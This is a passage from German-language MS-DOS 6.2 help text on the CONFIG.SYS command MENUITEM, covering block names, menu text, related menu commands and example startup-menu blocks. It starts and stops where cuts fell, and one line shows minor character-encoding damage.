an anderer Stelle in der Datei CONFIG.SYS definiert werden. Wird der

Menüeintrag aus dem Startmenü ausgewählt, führt MS-DOS die Befehle im

zugehörigen Konfigurationsblock, alle Befehle am Anfang der Datei

CONFIG.SYS sowie etwaige Befehle in Konfigurationsblöcken mit dem Namen

[common] aus.

Wenn MS-DOS einen Block des angegebenen Namens nicht finden kann,

erscheint der Eintrag nicht im Startmenü. Der Blockname kann bis zu 70

Zeichen lang sein und darf nahezu alle druckbaren Zeichen enthalten.

Leerzeichen, Schrägstriche (\ und /), Kommas, Semikola (;),

Gleichheitszeichen (=), eckige Klammern ([ und ]), sowie Umlaute (üs,

"_, "(tm)) und ss sind nicht zulässig.

Menütext

Bezeichnet den Text, den MS-DOS für diesen Menüeintrag anzeigen soll.

Wenn Sie keinen Menütext angeben, zeigt MS-DOS den Blocknamen als

Menüeintrag an. Der Menütext kann bis zu 70 Zeichen lang sein und darf

beliebige Zeichen enthalten.

Zugehörige Befehle

Der Befehl MENUITEM ist einer von sechs speziellen CONFIG.SYS-Befehlen zur

Definition von Startmenüs und mehrerer Konfigurationen. Die anderen Befehle

zur Menüdefinition sind:

der Befehl <MENUDEFAULT> zur Angabe des Standardmenüeintrags,

der Befehl <MENUCOLOR> zur Definition der Farbe des Menütextes sowie des

Bildschirmhintergrunds.

der Befehl <SUBMENU> zur Definition eines Untermenüs,

der Befehl <NUMLOCK>, der den Status der NUMLOCK-Taste bestimmt, wenn das

Startmenü erscheint. (Obgleich NUMLOCK überall in der Datei CONFIG.SYS

verwendet werden kann, ist sie besonders nützlich, wenn Sie ein

Startmenü definieren.)

der Befehl <INCLUDE> der den Inhalt eines Konfigurationsblocks in einen

anderen aufnimmt. Dieser Befehl lässt sich nicht in einen Menüblock

einbauen.

Überblick des Verfahrens, mehrere Konfigurationen zu definieren, finden

Sie unter dem Thema <Befehle zur Definition mehrerer Konfigurationen>.

MENUITEM Anmerkungen

Definieren von Menüblöcken

Ein Menüblock ist eine Gruppe von Befehlen zur Menüdefinition, die mit einem Blockkopf - dem Namen des Blocks in eckigen Klammern - beginnt. Damit ein Startmenü erscheint, muss Ihre Datei CONFIG.SYS einen Menüblock mit dem Kopf [menu] enthalten.

Sie können mit dem Befehl <SUBMENU> auch Untermenüs definieren. Jedes Untermenü hat seinen eigenen Menüblock, der beliebig heissen kann.

Ein Menüblock muss mindestens einen MENUITEM- oder SUBMENU-Befehl enthalten.

Anzahl und Numerierung der Einträge im Startmenü

MS-DOS zeigt die Menüeinträge in der Reihenfolge an, wie sie im Menüblock stehen, und numeriert sie automatisch durch. Der erste Menüeintrag ist immer die Nummer 1 im Menü; bis zu neun Einträge sind möglich. Wenn Sie mehr als neun Menüeinträge definieren müssen, verwenden Sie den Befehl SUBMENU.

MENUITEM Beispiele

Der folgende Block [MENU] definiert ein Startmenü mit den zwei Einträgen

Birnen und Orangen:

[menu]

menuitem=Birnen

menuitem=Orangen

Wenn MS-DOS startet, erscheint folgendes Menü:

Startmenü für MS-DOS 6.2

========================

1. Birnen

2. Orangen

Wählen Sie die gewünschte Option: 1

Der folgende Block [MENU] definiert ein Startmenü mit drei Einträgen und Menütext für jeden Eintrag:

[menu]

menuitem=Basis_Konfig, Nur Grundkonfiguration

menuitem=Volle_Konfig, Normale Konfiguration

menuitem=Netz_Konfig, Normale Konfiguration mit Netzwerk

In diesem Beispiel entspricht der erste Eintrag dem Konfigurationsblock [Basis_Konfig], der zweite Eintrag dem Block [Volle_Konfig] und der dritte Eintrag dem Block [Netz_Konfig]. Wenn MS-DOS startet, ze